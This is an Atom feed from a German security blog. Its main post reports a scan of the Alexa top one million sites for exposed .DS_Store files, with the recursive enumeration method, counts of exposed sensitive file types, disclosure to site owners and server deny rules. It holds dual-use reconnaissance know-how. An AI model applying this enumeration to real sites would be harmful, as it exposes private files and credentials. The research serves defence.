<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title><![CDATA[Internetwache - Für ein sicheres Internet]]></title>
  <link href="https://www.internetwache.org/atom.xml" rel="self"/>
  <link href="https://www.internetwache.org/"/>
  <updated>2018-05-23T00:29:47+02:00</updated>
  <id>https://www.internetwache.org/</id>
  <author>
    <name><![CDATA[Internetwache.org]]></name>
    
  </author>
  <generator uri="http://octopress.org/">Octopress</generator>

  
  <entry>
    <title type="html"><![CDATA[Analyse der .DS_Store-Datei in den Alexa Top 1 Millionen]]></title>
    <link href="https://www.internetwache.org/analyse-der-ds-store-datei-in-den-alexa-top-1-millionen-12-03-2018/"/>
    <updated>2018-03-12T12:26:00+01:00</updated>
    <id>https://www.internetwache.org/analyse-der-ds-store-datei-in-den-alexa-top-1-millionen</id>
    <content type="html"><![CDATA[<p>Einige Leser werden sich sicherlich noch an unsere <a href="https://www.internetwache.org/wie-ungeschutzte-git-repositorys-die-sicherheit-ihrer-webseite-gefahrden-eine-analyse-der-alexa-1m-28-07-2015/">Analyse der .git-Verzeichnisse in den Alexa Top 1 Millionen</a> erinnern. Mit Hilfe unserer Tools kann man auch verborgen geglaubte Verzeichnisse (ohne Directory-Listing) auslesen und analysieren. Einen ähnlichen Ansatz haben wir nun für die .DS_Store-Datei entwickelt und wollen das Vorgehen und die Gefahren in diesem Blogpost vorstellen und aufzeigen, wie wir mit dieser Methode an sensitive Dateien hätten gelangen können. Darüber hinaus erläutern wir mögliche Schutzmaßnahmen.</p>

<!-- more -->


<h1>Was ist die &#8220;.DS_Store-Datei&#8221;?</h1>

<p>Beschäftigen wir uns also zunächst einmal mit der Datei &#8220;.DS_Store&#8221;. Einigen Personen wird diese sicherlich bekannt sein, wenn man einem Apple-Nutzer den USB-Stick ausgeliehen hat, denn betrachtet man den Inhalt des Sticks anschließend auf einem Windows-System oder einem Linux System, dann findet man dort, unter anderem meist eine Datei mit dem Namen &#8220;.DS_Store&#8221;. Der Dateiname steht für &#8220;Desktop Services Store&#8221; und in dieser Datei werden Informationen über die in einem Ordner enthaltenen Dateien und deren Anzeigeoptionen gespeichert, etwa die Position der Datei oder Kommentare zur Datei. Unter Mac-OS basierenden Betriebssystemen erstellt der &#8220;Finder&#8221; diese Datei automatisch, sie enthält zur Verwaltung der Dateien ihre Namen. Um die Datei vor dem Nutzer zu verstecken, wird wie bei vielen *NIX-ähnlichen Betriebssystemen ein Punkt dem Dateinamen vorangestellt. Das Format dieser Datei ist propäritär und wurde von Apple selbst entwickelt. Folglich werden die Dateien auch standardmäßig nur von Apple Geräten interpretiert. In dem <a href="http://arno.org/arnotify/2006/10/on-the-origins-of-ds_store/">Blogpost &#8220;The origins of .DS_Store&#8221; aus dem Jahre 2006</a> von einem der Erfinder der &#8220;.DS_Store&#8221;-Datei beschreibt dieser, dass er nachträglich einen anderen Namen wählen würde und zudem die Verbreitung der Datei massiver ist, als ursprünglich geplant. So kommt es laut seiner Aussage dazu, dass die Datei erstellt wird, sobald man einen Ordner betrachtet - geplant sei allerdings gewesen, dass die Datei nur erstellt werden soll, sofern die Ordneransicht geändert wird. Bis heute findet sich die Datei auf zahlreichen Festplatten.
Nun könnte man glauben, dass diese Datei harmlos sei und bloß ein Abfallprodukt von der Nutzung durch einen Apple Rechner. Betrachtet man eine &#8220;.DS_Store&#8221;-Datei in einem Editor, so scheint zunächst auch nichts spannendes mit ihr möglich zu sein:</p>

<p><a rel="fancybox"href="/images/posts/ds_store.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/ds_store.png" alt="Eine .DS_Store Datei in einem Texteditor geöffnet" title="Eine .DS_Store Datei in einem Texteditor geöffnet" /></a></p>

<p>Wie einigen bekannt oder aufgefallen sein wird, handelt es sich um eine Binärdatei. Weil eine detaillierte Beschreibung des Dateiformats für diesen Blogpost zu umfangreich wäre, hat <a href="https://0day.work/parsing-the-ds_store-file-format/">Sebastian auf seinem Blog einen einzelnen Blogpost</a> dazu geschrieben.</p>

<h1>Wieso kann die Datei zu einem Problem werden?</h1>

<p>Diese Datei kann zu einem Sicherheitsproblem werden, wenn diese vom lokalen Dateisystem eines Nutzers in andere Hände fallen. Beispielsweise durch einen Upload einer Webseite vom Entwicklersystemauf einen Webserver. Gelangt ein Angreifer an diese Datei, weil der Webserver den Download nicht verhindert und zuvor ein Upload stattgefunden hat, so kann er gegebenenfalls Rückschlüsse auf weitere auf dem Server vorhandene Dateien ziehen. Wir wollten wissen, ob sich diese Methode tatsächlich so leicht umsetzen lässt wie gedacht, haben deshalb einige Nachforschungen betrieben und möchten unsere Beobachtungen im Folgenden schildern.</p>

<p>Als Grundlage für unsere Untersuchung, nahmen wir einen Export der <a href="http://s3.amazonaws.com/alexa-static/top-1m.csv.zip">Alexa Top 1 Millionen Webseiten</a>. Sollten wir die .DS_Store Datei auf diesen Webseiten finden können, so wären einige der weltweit meistbesuchten Webseiten potentiell gefährdet. Basierend auf Sebastians <a href="https://github.com/gehaxelt/ds_store/blob/master/ds_store.go">Bibliothek zum Parsen der Datei</a> in der Sprache &#8220;Go&#8221;, entwickelte er ein Tool, um die Existenz der Datei auf dem Server zu prüfen. Während dem letzten Hackercongress (34C3) in Leipzig nutzen wir dort die schnelle Internetanbindung, um innerhalb der vier Tage des Kongresses alle Webseiten auf diese Schwachstelle hin zu untersuchen.</p>

<h1>Das Vorgehen</h1>

<p>Dabei ging das Tool wie folgt vor:</p>

<ul>
<li>HTTP GET-Anfrage von http://domain.tld/.DS_Store</li>
<li>Parsen der Datei und Extrahieren von Dateinamen</li>
<li>Im rekursiven Modus: Prüfung, ob der Dateiname ein Ordner ist und ob in diesem Ordner wieder eine .DS_Store Datei abrufbar ist.</li>
<li>Für alle gefundenen Dateipfade: HTTP HEAD-Anfrage zur URL, um die  Abrufbarkeit festzustellen</li>
</ul>


<p>Den Scandurchlauf haben wir im rekursiven Modus durchgeführt, weil viele interessante Dateien häufig nicht auf der ersten Dateiebene liegen. Allerdings liegt in jedem Unterordner oft wieder eine .DS_Store-Datei, was einen tieferen Einblick in die Verzeichnisse ermöglicht.
Das Parsen der Dateien und die daraus resultierende Liste mit Dateinamen ermöglichte uns noch nicht die Aussage, ob diese Dateien auch wirklich auf dem Webserver existieren und potentiell heruntergeladen werden können. Wir erinnern uns - die Informationen aus der .DS_Store Datei beziehen sich auf die lokale Umgebung des Mac-Betriebsystems. Um der Frage, ob die Dateien auch online wiederzufinden sind, auf den Grund zu gehen,  wurde zu jeder gefundenen Datei eine HEAD-Anfrage geschickt. Mit diesem HTTP-Anfragentyp schickt der Webserver nur die Header der Antwort zurück, jedoch nicht den Inhalt der Datei. Zwar ist diese Methode nicht perfekt, weil manche Webserver statt HTTP-Antwort &#8220;Nicht gefunden&#8221; (404) auch &#8220;OK&#8221; (200) zurückgeben, oder die HEAD-Anfragemethode deaktiviert ist, aber so kann man uns später nicht vorhalten, dass wir auf sensitive Inhalte zugegriffen hätten. Bei einem Antwortstatuscode von 200 nahmen wir die Existenz der Datei an und darauf basieren die folgenden Ergebnisse, wenn nicht anders angegeben.</p>

<h1>Die Ergebnisse</h1>

<p>Die Ergebnisse haben wir in Log-Dateien festgehalten. Von 1 Millionen abgescannten URLs haben circa 10000 Domains eine &#8220;.DS_Store&#8221;-Datei zum Download angeboten. Zunächst waren wir etwas enttäuscht, da wir von einer etwas größeren Verbreitung ausgegangen sind, allerdings stellte sich heraus, dass wir auch mit dem vorliegenden Datensatz einige interessante Rückschlüsse ziehen konnten. Einige Funde sind uns möglicherweise entgangen, weil der Parser nicht alle Dateien erfolgreich auslesen konnte. Insgesamt enthielt unsere Logdatei 1185671 gefundene URLs (auf Grund der angewandten Rekursion), die sich durch die Analyse der .DS_Store Dateien ergab.</p>

<p>Die HTTP-Antwortstatuscodes der HEAD-Anfragen verteilen sich wie folg:</p>

<p><a rel="fancybox"href="/images/posts/ds_status.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/ds_status.png" alt="Diagramm mit der Verteilung der Statuscodes" title="Diagramm mit der Verteilung der Statuscodes" /></a></p>

<p>Ein Großteil der gefundenen Dateien war potentiell abrufbar. Bei etwas mehr als 21000 URLs konnte der Status nicht ermittelt werden. Die verbleibenden Statuscodes deuten eher daraufhin, dass die Dateien nicht abrufbar (403 - Forbidden) oder nicht mehr vorhanden (404 - not found) waren. Die Häufigkeit einer gefundenen Datei war nicht gleichverteilt, sondern einige größere Webseiten schienen in vielen Verzeichnissen die .DS_Store Datei zu haben. Wenn ein Administrator oder ein Entwicklerteam die .DS_Store also &#8220;vergessen&#8221; hatte, so ist dies gleich mehrfach geschehen, was teilweise eine weitreichende Einsicht in die Inhalte von Webserververzeichnisse ermöglicht. In der folgenden Auflistung sieht man die Top 10 der Funde pro Domain (diese wurden hier aus Gründen der Sicherheit anonymisiert):</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>  80957 domain1.tld
</span><span class='line'>  67754 domain2.tld
</span><span class='line'>  55143 domain3.tld
</span><span class='line'>  19688 domain4.tld
</span><span class='line'>  19520 domain5.tld
</span><span class='line'>  18989 domain6.tld
</span><span class='line'>  12525 domain7.tld
</span><span class='line'>  12058 domain8.tld
</span><span class='line'>  11521 domain9.tld
</span><span class='line'>  11463 domain10.tld</span></code></pre></td></tr></table></div></figure>


<p>Eine interessante Betrachtung ist die Verteilung der Top-Level-Domains, welche .DS_Store-Dateien preisgeben. Wie man aus den Top 25 erkennt, sind .com Seiten stark vertreten. Sie stellen fast 50% der betroffenen Domains, das könnte auf die hohe Verbreitung von Mac OS in den USA zurück zu führen sein, dazu liegen allerdings nicht genügend Informationen über die Personen oder Unternehmen, die die Domains registriert haben vor.</p>

<p><a rel="fancybox"href="/images/posts/ds_tld.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/ds_tld.png" alt="Verteilung der Funde auf die TLDs" title="Verteilung der Funde auf die TLDs" /></a></p>

<p>Nachdem wir nun ungefähr erfahren haben, welche Domains und in welchem Umfang von diesem Problem betroffen sind, können wir weitere Betrachtungen im Detail vornehmen - beispielsweise können wir unseren Blick auf die Dateien, die durch diese Methode entdeckt werden können, werfen. Wie oben beschrieben, sind diese Aussagen auf den 200-Status Antworten der HEAD-Abfragen basierend. Möglicherweise gibt es also weitaus mehr (interessante) Dateien, die von einem Angreifer heruntergeladen werden könnten. Die Top 10 der meistgefundenen Dateiendungen sieht wie folgt aus:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class=''><span class='line'> 256715 .jpg
</span><span class='line'>  75177 .png
</span><span class='line'>  64835 .php
</span><span class='line'>  42422 .html
</span><span class='line'>  39691 .gif
</span><span class='line'>  23683 .htm
</span><span class='line'>  16397 .pdf
</span><span class='line'>   9736 .js
</span><span class='line'>   9346 .txt
</span><span class='line'>   6886 .css</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Schaut man sich die Liste der über 1500 Dateiendungen weiter an, so findet man u.a. auch folgende Einträge, die für einen Missbrauch nützliche Informationen beinhalten könnten:</p>

<p><a rel="fancybox"href="/images/posts/ds_datatype.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/ds_datatype.png" alt="Eine Auswahl von bekannten Datentypen und deren Anzahl" title="Eine Auswahl von bekannten Datentypen und deren Anzahl" /></a></p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>661 .bak
</span><span class='line'>569 .gz
</span><span class='line'>549 .doc
</span><span class='line'>464 .db
</span><span class='line'>343 .csv
</span><span class='line'>266 .eml
</span><span class='line'>248 .log
</span><span class='line'>240 .old
</span><span class='line'>202 .docx
</span><span class='line'>186 .inc
</span><span class='line'>162 .config
</span><span class='line'>129 .cfg
</span><span class='line'>123 .sql
</span><span class='line'>123 .sh
</span><span class='line'>105 .htaccess
</span><span class='line'> 55 .git
</span><span class='line'> 35 .LOG
</span><span class='line'> 23 .orig
</span><span class='line'> 22 .tgz
</span><span class='line'> 21 .pem
</span><span class='line'> 18 .out
</span><span class='line'> 16 .conf
</span><span class='line'> 16 .cfs
</span><span class='line'> 10 .php_old
</span><span class='line'> 10 .php_
</span><span class='line'> 10 .key
</span><span class='line'>  8 .back
</span><span class='line'>  6 .backup
</span><span class='line'>  5 .bkp
</span><span class='line'>  4 .php_bak
</span><span class='line'>  3 .htpasswd
</span><span class='line'>  2 .core
</span><span class='line'>  2 .bash_history</span></code></pre></td></tr></table></div></figure>


<p>Unter den &#8220;.bak&#8221; Dateien finden sich beispielsweise folgende Dateinamen:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>  9 index.php.bak
</span><span class='line'>  2 wp-config.php.bak
</span><span class='line'>  2 php.ini.bak
</span><span class='line'>  2 db.bak</span></code></pre></td></tr></table></div></figure>


<p>Einige dieser Dateien lassen sich ohne weiteres herunterladen, da keine Authentifizierung erforderlich ist und sie offensichtlich nicht nur in der lokalen Umgebung des Entwicklers vorhanden waren, sondern auch auf den Webserver geladen wurden. Wir sind durch diese Technik auf Backupdateien, Zertifikate oder sonstige sensible Informationen aufmerksam geworden und haben die verantwortlichen Stellen (sofern möglich) informiert. Die meisten informierten Webseitenbetreiber haben direkt reagiert, entsprechende Dateien offline genommen, geschützt und .DS_Store Dateien entfernt, andere haben bislang leider noch keine Handlungen vorgenommen - wir hoffen allerdings, das die Veröffentlichung dieses Artikels erneut zur Sensibilisierung beiträgt.</p>

<h1>Kurioses zum Fund</h1>

<p>Interessant an der Angelegenheit ist, dass dieses Problem bereits mehrfach beleuchtet wurde, die &#8220;Fixes&#8221; aber meist deletantisch sind oder zumindest immernoch eine Angriffsoberfläche gegeben ist.</p>

<p><a href="https://www.securityfocus.com/bid/3324/discuss">Erste Diskussionen zu dem Thema gab es bereits 2001</a> - heute, 17 Jahre später führt die Datei immernoch zu Sicherheitsproblemen.
Apple musste auf Grund zahlreicher Kundenbeschwerden das Veröffentlichen von .DS_Store-Dateien auf Netzlaufwerken unterbinden und erklärte in einem <a href="https://support.apple.com/de-de/HT1629">Hilfeartikel</a> wie sich die Funktion abschalten ließ.
Adobe weißt in einem <a href="https://helpx.adobe.com/de/dreamweaver/kb/remove-ds-store-files-mac.html">FAQ der Web-Software Dreamweaver</a> darauf hin, dass man am besten einen Cronjob aktivieren soll, der die .DS_Store-Dateien regelmäßig löscht. Diese Art des Schutz ist allerdings ausschließlich temporär und daher wohl nicht als vollkommen ausreichend zu betrachten (bessere Lösungsvorschläge finden sich unten).
Auch im Rahmen von Bug Bounty Programmen wurde diese Technik bereits eingesetzt, so wurde ein Security Researcher beispielsweise vor 2 Jahren bei <a href="https://hackerone.com/reports/142549">Twitter fündig</a>. Dort fand ein Security-Researcher mit dem Namen &#8220;lewerkun&#8221; unter anderem Lizenzschlüssel, ein WLAN-Zertifikat, ein CA Root Zertifikat und erhielten dafür (gerade einmal) eine Belohnung in Höhe von 560$.</p>

<h1>Gegenmaßnahmen</h1>

<p>Um die unfreiwillige Preisgabe von Informationen zu verhindern, empfehlen wir folgende Maßnahmen.</p>

<p>Grundsätzlich sollten logischerweise niemals Dateien auf Webserver hochgeladen werden, welche nicht abrufbar sein sollten (auch nicht temporär). Das klingt zunächst einleuchtend, die Praxis zeigt allerdings, dass dies nicht so sehr die Regel ist. Unser Kollege <a href="https://twitter.com/hanno">Hanno Böck</a> konnte in seiner <a href="https://int21.de/slides/34c3-wget/#/">Seine Präsentation vom 34c3</a> vorführen, wie in zahlreichen Fällen mittels &#8220;wget&#8221; komplette Datenbestände heruntergeladen werden konnten - was eindrucksvoll zeigt, dass es einiges an Handlungsbedarf gibt.</p>

<p>Möchte man auf seinem Webserver überprüfen, ob die diskutierten Dateien dort zu finden sind, so kann man auf Linux-Servern folgenden Kommando verwenden:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>cd /var/www # Ins DocumentRoot des Webservers wechseln
</span><span class='line'>find . -type f -iname "*.DS_Store*"</span></code></pre></td></tr></table></div></figure>


<p>Das Kommando sucht in dem Ordner <code>/var/www</code> nach Dateien, die &#8220;.DS_Store&#8221; im Dateinamen haben. Sollte eine Ausgabe erscheinen und die entdeckten Dateien nicht explizit herunterladbar sein, so könnte eine Informationspreisgabe möglich sein. Falls Sie alle gefundenen Dateien entfernen möchten, reicht das Anhängen des Parameters <code>-delete</code> an das Suchkommando.</p>

<p>Eine bessere Methode ist hingegen den Webserver anzuweisen, diese Dateien nicht auszuliefern und den Zugriff zu blockieren. Für die zwei bekanntesten Webserver schlagen wir folgende Konfigurationseinträge vor:</p>

<h3>Apache</h3>

<p>In der <code>httpd.conf</code> kann der Zugriff mit Hilfe der folgenden Direktive verhindert werden:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;Files ~ "\.DS_Store$"&gt;
</span><span class='line'>    Order allow,deny
</span><span class='line'>    Deny from all
</span><span class='line'>&lt;/Files&gt;</span></code></pre></td></tr></table></div></figure>


<h3>Nginx</h3>

<p>Im <code>server</code>-Block blockiert die folgende Anweisung den Zugriff:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>location ~ \.DS_Store$ {
</span><span class='line'>      deny all;
</span><span class='line'>}</span></code></pre></td></tr></table></div></figure>


<p>Zusätzlich sollte überprüft werden, dass:</p>

<ul>
<li>diese Dateien nicht in Code-Verwaltungsprogramme (git/svn/etc) eingecheckt und auf dem Server heruntergeladen werden</li>
<li>diese Dateien bei rsync/(s)ftp oder anderen Dateiübertragen vorher exkludiert oder entfernt werden</li>
</ul>


<h1>Proof of Concept</h1>

<p>Um eindrücklich zu zeigen welche Folgen das Veröffentichen der .DS_Store-Datei hat, haben wir eine Demowebseite erstellt auf der man unseren Parser nutzen kann, um Dateinamen aus DS_Store-Dateien auszulesen:</p>

<ul>
<li><a href="https://labs.internetwache.org/ds_store/">Link zum &#8220;Online .DS_Store Parser&#8221;</a></li>
</ul>


<p>Disclamer: Bitte ausschließlich für Selbsttest oder Lehre/Forschung nutzen. Die Benutzung für illegale Zwecke ist untersagt!</p>

<p>Weitere Fragen zum Tool beantworten wir im entsprechenden <a href="https://labs.internetwache.org/ds_store/faq">FAQ</a> oder gern per Email.</p>

<h1>Möglicher weiterer Research</h1>

<p>.DS_Store-Dateien können auch innerhalb von ZIP-Dateien enthalten sein, sofern diese unter Apple gepackt wurden. Unser Parser ist auf das Auslesen von Dateinamen aus .DS_Store-Dateien spezialisiert - es ist allerdings auch durchaus denkbar andere Informationen (etwa Kommentare zu Dateien) aus .DS_Store-Dateien auszulesen, was den Angriffsvektor noch mächtiger machen würde. Neben .DS_Store gibt es unter anderen Betriebssystemen möglicherweise weitere Dateien, welche interessant sein können - auch Verzeichnisse wie &#8220;.Trash&#8221; könnten sich für zukünftige Nachforschungen in dem Bereich lohnen.</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Jahresrückblick auf 2017 / Ausblick 2018]]></title>
    <link href="https://www.internetwache.org/jahresruckblick-auf-2017-slash-ausblick-2018-06-01-2018/"/>
    <updated>2018-01-06T22:20:00+01:00</updated>
    <id>https://www.internetwache.org/jahresruckblick-auf-2017-slash-ausblick-2018</id>
    <content type="html"><![CDATA[<p>Wie auch im letzten Jahr werden wir in diesem Artikel einen Rückblick in das vergangene Jahr vornehmen und einen Ausblick auf das kommende Jahr wagen.</p>

<!-- more -->


<p>Den meisten unserer Leser werden die Jahresrückblicke schon seit dem Bestehen des Projektes bekannt sein (siehe beispielseweise den <a href="https://www.internetwache.org/jahresruckblick-auf-2016-slash-ausblick-2017-01-01-2017/">Jahresrückblick von 2016</a> ).</p>

<h2>Besonderheiten in 2017</h2>

<p>Im letzten Jahr gab es einige Besonderheiten. Diese haben zum einen unsere persönliche (und sicherlich auch die Arbeit von sonstigen IT-Spezialisten) beeinflusst haben wird. Das Windows-Schadprogramm &#8220;WannaCry&#8221; hat im Mai 2017 neue Maßstäbe gesetzt und zeigt eindrücklich wie verwundbar unsere digitalisierte Gesellschaft ist.</p>

<p>Auf Grund unserer Arbeiten im Jahr 2016 (unter anderem dem <a href="https://www.internetwache.org/wie-wir-wasserwerke-im-internet-entdeckten-16-08-2016/">Fund von Wasserwerken</a>) durften wir <a href="https://www.janalbrecht.eu/sprachen/en/artikel/2017-06-21-security-in-the-internet-of-things.html">im Rahmen eines Hearings im europäischem Parlament</a> (in Brüssel / Belgien) unsere Erfahrungen und Eindrücke zum Thema Internetsicherheit (mit dem Schwerpunkt auf IoT-Security) schildern. Diese Art der Arbeit (Lobbyismus) war für uns eine neue, spannende Erfahrung. Wir halten es für wichtig, dass neben Vertretern der Industrie immer auch zivilgesellschaftliche Gruppen angehört werden, um einen Interessensausgleich in der Politik zu ermöglichen.</p>

<p>Die Ereignisse um #WannaCry waren für uns auch der Anlass in diesem Jahr einen besonderen Sticker zu erstellen.</p>

<p><a rel="fancybox"href="/images/posts/wannacry-sticker.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/wannacry-sticker.png" alt="Unser Wannacry sticker" title="Wannacry Sticker" /></a></p>

<p>Unsere Arbeit, insbesondere die Funde der Wasserwerke und Ampeln, wurde im offiziellen Bericht des <a href="https://de.wikipedia.org/wiki/Bundesamt_f%C3%BCr_Sicherheit_in_der_Informationstechnik">Bundesamt für Sicherheit in der Informationstechnik</a> zur Lage der IT Sicherheit in Deutschland 2017 erwähnt (leider ohne konkrete Quellennennung).</p>

<p>Siehe: <a href="https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2017.pdf?__blob=publicationFile&amp;v=2">Lagebericht 2017: Die Lage der IT-Sicherheit in Deutschland</a>, Seite 14.</p>

<p>Wir freuen uns, dass 5 Jahre nach Gründung von Internetwache.org eine solch prominente Nennung, durch eine wichtige Bundesbehörde, erfolgt ist.</p>

<p>Ein weiteres Highlight des Jahres war, dass sowohl Tim als auch Sebastian ihren ersten Studienabschnitt erfolgreich abschließen konnten und nun stolzer Besitzer eines &#8220;Bachelor of Science&#8221; sind, siehe mehr dazu in der Rubrik &#8220;persönliche Erfolge&#8221;.</p>

<p>Uns wurde mitgeteilt, dass unsere Webseite bei manchen Anti-Viren-Programmen oder Firewalls als &#8220;gefährlich&#8221; eingestuft wird. Wir sind uns nicht ganz sicher, wie wir auf solchen Listen landen konnten (vermutlich hat es mit einem <a href="https://www.internetwache.org/analyse-zum-vorgehen-einer-kryptomining-malware-09-09-2016/">Artikel über Kryptomining Malware</a> zu tun), aber arbeiten mit Nachdruck daran, unsere Domain von diesen Listen streichen zu lassen. Sollte euch auffallen, dass unsere Seite irgendwo nicht erreichbar oder gesperrt ist, so sind wir über <a href="https://www.internetwache.org/pgp-kontakt/">Hinweise per Email</a> immer sehr dankbar!</p>

<h2>Medienberichte</h2>

<p>In 2017 haben wir, wie im letzten Jahr angekündigt, unsere Arbeit mit Medien fortgesetzt. Dadurch konnten wir die Wichtigkeit des Themas IT- und Informationssicherheit betonen und unser Projekt, auch weniger IT-affinen Personen näherbringen und zudem die gesellschaftliche Relevanz darstellen.</p>

<h3>ZDF Wiso</h3>

<p>Anfang des Jahres 2017 haben wir an einem Kurzbeitrag zum Thema &#8220;Hackerangriffe auf Infrastrukturen&#8221; bei ZDF Wiso mitgewirkt. In dem Beitrag stellen wir unsere Wasserwerk Funde und ein neu gefundenes Krankenhaus vor und beschreiben die Risiken in dem Bereich.</p>

<p>Link: <a href="https://www.zdf.de/verbraucher/wiso/wiso-clip-3-hackerangriffe-auf-infrastruktur-wasser-strom-werke-100.html">https://www.zdf.de/verbraucher/wiso/wiso-clip-3-hackerangriffe-auf-infrastruktur-wasser-strom-werke-100.html</a></p>

<h3>Bericht aus Berlin (ARD)</h3>

<p>Wir halten die fortlaufende, offensive Militarisierung des Cyberraums (durch Behörden und Geheimdienste) für sehr bedenklich. Wir haben in einem Bericht aus Berlin dazu unsere Meinung kurz darlegen können.</p>

<p>Link: <a href="https://www.tagesschau.de/multimedia/sendung/bab/bab-3971~_bab-sendung-363.html">https://www.tagesschau.de/multimedia/sendung/bab/bab-3971~_bab-sendung-363.html</a></p>

<h3>ZDF Zoom</h3>

<p>ZDFZoom ist ein längeres Dokuformat des ZDFs. Wir schildern in der Dokumentation wie wir ein neues Wasserwerk in Bayern ausfindig machen konnten.</p>

<p>Link: <a href="https://www.zdf.de/dokumentation/zdfzoom/zdfzoom-datenklau-und-cyberwar-100.html">https://www.zdf.de/dokumentation/zdfzoom/zdfzoom-datenklau-und-cyberwar-100.html</a></p>

<h3>TAZ</h3>

<p>Vor der Bundestagswahl 2017 gab es viele Befürchtungen, dass die Wahl (ähnlich wie in den USA) durch Hacks oder gezielte Manipulation beeinflusst werden könnte. Wir wurden deshalb zu dem Thema von der TAZ befragt.</p>

<p>Link: <a href="https://www.taz.de/Gehackte-Daten-aus-dem-Bundestag/!5436704/">https://www.taz.de/Gehackte-Daten-aus-dem-Bundestag/!5436704/</a></p>

<h3>Politico.eu</h3>

<p>Auch auf politico.eu wurden wir zum Thema &#8220;Wahl&#8221; und &#8220;IT-Sicherheit&#8221; befragt.</p>

<p>Link: <a href="https://www.politico.eu/article/hacked-information-bomb-under-germanys-election/">https://www.politico.eu/article/hacked-information-bomb-under-germanys-election/</a></p>

<h3>golem.de</h3>

<p>Mit golem.de pflegen wir mittlerweile eine recht intensive, wenn auch nicht formale, Medienkooperation. Auf unserem Blog erreichen wir nicht so viele Personen, wie über golem.de - weshalb wir besondere Erkenntnisse oder Funde dort platzieren.
In 2017 sind dort unter anderem folgende Artikel erschienen:</p>

<ul>
<li><a href="https://www.golem.de/news/gebaeudesteuerung-luxusklinik-vergass-it-im-netz-1702-126362.html">Fund einer unsicheren Luxus Klinik in der Schweiz</a></li>
<li><a href="https://www.golem.de/news/owasp-top-10-die-zehn-wichtigsten-sicherheitsrisiken-bekommen-ein-update-1704-127426.html">Diskussionen zu den neuen OWASP Top10</a></li>
<li><a href="https://www.golem.de/news/g20-hinweisportal-der-polizei-hamburg-hat-rechtliche-probleme-1707-128829.html">IT-Rechtliche Probleme beim G20 Hinweisportal</a></li>
<li><a href="https://www.golem.de/news/energieversorgung-e-mail-konten-sind-besser-gesichert-als-windparks-1709-129868.html">Windkraft und IT-Sicherheit</a></li>
</ul>


<h3>Weitere Medienberichte</h3>

<p>Mittlerweile findet man eine ganze Reihe von Medienberichten über uns, weshalb wir uns an dieser Stelle nur auf die reichtweitenstärksten und direkten Beiträge beschränkt haben.</p>

<h2>Konferenzen und Vorträge</h2>

<p>2017 waren wir auf verschiedenen Konferenzen.</p>

<h3>RuCTF 2017</h3>

<p>Anfang des Jahres war Sebastian als Teil des <a href="https://twitter.com/ENOFLAG">@ENOFLAG</a> CTF Teams und der TU-Berlin beim Finale des <a href="http://ructfe.org/">RuCTF</a> Wettbewerbs, zu dem die gleichnamige Konferenz in Jekaterinburg stattfindet.</p>

